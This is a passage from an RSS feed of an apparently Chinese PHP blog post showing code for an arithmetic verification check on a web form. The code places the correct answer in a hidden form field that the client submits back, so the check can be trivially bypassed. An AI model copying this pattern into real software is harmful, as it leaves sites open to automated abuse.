<li><span style="color: #00008b;">$result</span><span style="color: Gray;"> = </span><span style="color: #00008b;">$MathCheckObj</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">InputValidation</span><span style="color: Olive;">(</span><span style="color: #00008b;">$actual_result</span><span style="color: Gray;">, </span><span style="color: #00008b;">$user_entered</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: Green;">switch</span><span style="color: Gray;">&nbsp;</span><span style="color: Olive;">(</span><span style="color: #00008b;">$result</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span></li>
<li><span style="color: Green;">case</span><span style="color: Gray;">&nbsp;</span><span style="color: #8b0000;">'</span><span style="color: Red;">No answer</span><span style="color: #8b0000;">'</span><span style="color: Gray;">: </span></li>
<li><span style="color: Green;">die</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">请回答问题,终止下面的程序</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: Green;">break</span><span style="color: Gray;">;</span></li>
<li><span style="color: Green;">case</span><span style="color: Gray;">&nbsp;</span><span style="color: #8b0000;">'</span><span style="color: Red;">Wrong answer</span><span style="color: #8b0000;">'</span><span style="color: Gray;">: </span></li>
<li><span style="color: Green;">die</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">问题回答错误,终止下面的程序</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: Green;">break</span><span style="color: Gray;">;</span></li>
<li><span style="color: Olive;">}</span></li>
<li><span style="color: Green;">echo</span><span style="color: Gray;">&nbsp;</span><span style="color: #8b0000;">'</span><span style="color: Red;">问题回答正确,可以继续了</span><span style="color: #8b0000;">'</span><span style="color: Gray;">;</span></li>
<li><span style="color: Olive;">}</span></li>
<li><span style="color: Gray;">&nbsp;</span></li>
<li><span style="color: Blue;">?&gt;</span></li>
<li><span style="color: Gray;">&lt;h1&gt;测试&lt;/h1&gt;</span></li>
<li><span style="color: Gray;">&lt;form method=&quot;post&quot; action=&quot;&quot;&gt;</span></li>
<li><span style="color: Gray;">&nbsp;</span></li>
<li><span style="color: Gray;">&lt;input type=&quot;text&quot; name=&quot;user_entered&quot; id=&quot;user_entered&quot; value=&quot;&quot; size=&quot;22&quot; tabindex=&quot;4&quot; /&gt;</span></li>
<li><span style="color: Gray;">&lt;label for=&quot;user_entered&quot;&gt;&lt;small&gt;请回答计算结果：</span><span style="color: Blue;">&lt;?php</span><span style="color: Gray;">&nbsp;</span><span style="color: Green;">echo</span><span style="color: Gray;"> </span><span style="color: #00008b;">$mc</span><span style="color: Olive;">[</span><span style="color: #8b0000;">'</span><span style="color: Red;">operand1</span><span style="color: #8b0000;">'</span><span style="color: Olive;">]</span><span style="color: Gray;"> . </span><span style="color: #8b0000;">'</span><span style="color: Red;"> + </span><span style="color: #8b0000;">'</span><span style="color: Gray;"> . </span><span style="color: #00008b;">$mc</span><span style="color: Olive;">[</span><span style="color: #8b0000;">'</span><span style="color: Red;">operand2</span><span style="color: #8b0000;">'</span><span style="color: Olive;">]</span><span style="color: Gray;"> . </span><span style="color: #8b0000;">'</span><span style="color: Red;"> ?</span><span style="color: #8b0000;">'</span><span style="color: Gray;"> </span><span style="color: Blue;">?&gt;</span><span style="color: Gray;">&lt;/small&gt;&lt;/label&gt;</span></li>
<li><span style="color: Gray;">&lt;input type=&quot;hidden&quot; name=&quot;actual_result&quot; value=&quot;</span><span style="color: Blue;">&lt;?php</span><span style="color: Gray;">&nbsp;</span><span style="color: Green;">echo</span><span style="color: Gray;"> </span><span style="color: #00008b;">$mc</span><span style="color: Olive;">[</span><span style="color: #8b0000;">'</span><span style="color: Red;">result</span><span style="color: #8b0000;">'</span><span style="color: Olive;">]</span><span style="color: Gray;">; </span><span style="color: Blue;">?&gt;</span><span style="color: Gray;">&quot; /&gt;</span></li>
<li><span style="color: Gray;">&nbsp;</span></li>
<li><span style="color: Gray;">&lt;input type=&quot;submit&quot;/&gt;</span></li>
<li><span style="color: Gray;">&lt;/form&gt;</span></li></ol></div>
<p>如果需要静态化验证，建议采用json构造。代码就不写了。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.ieliwb.com/php-math-checked/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
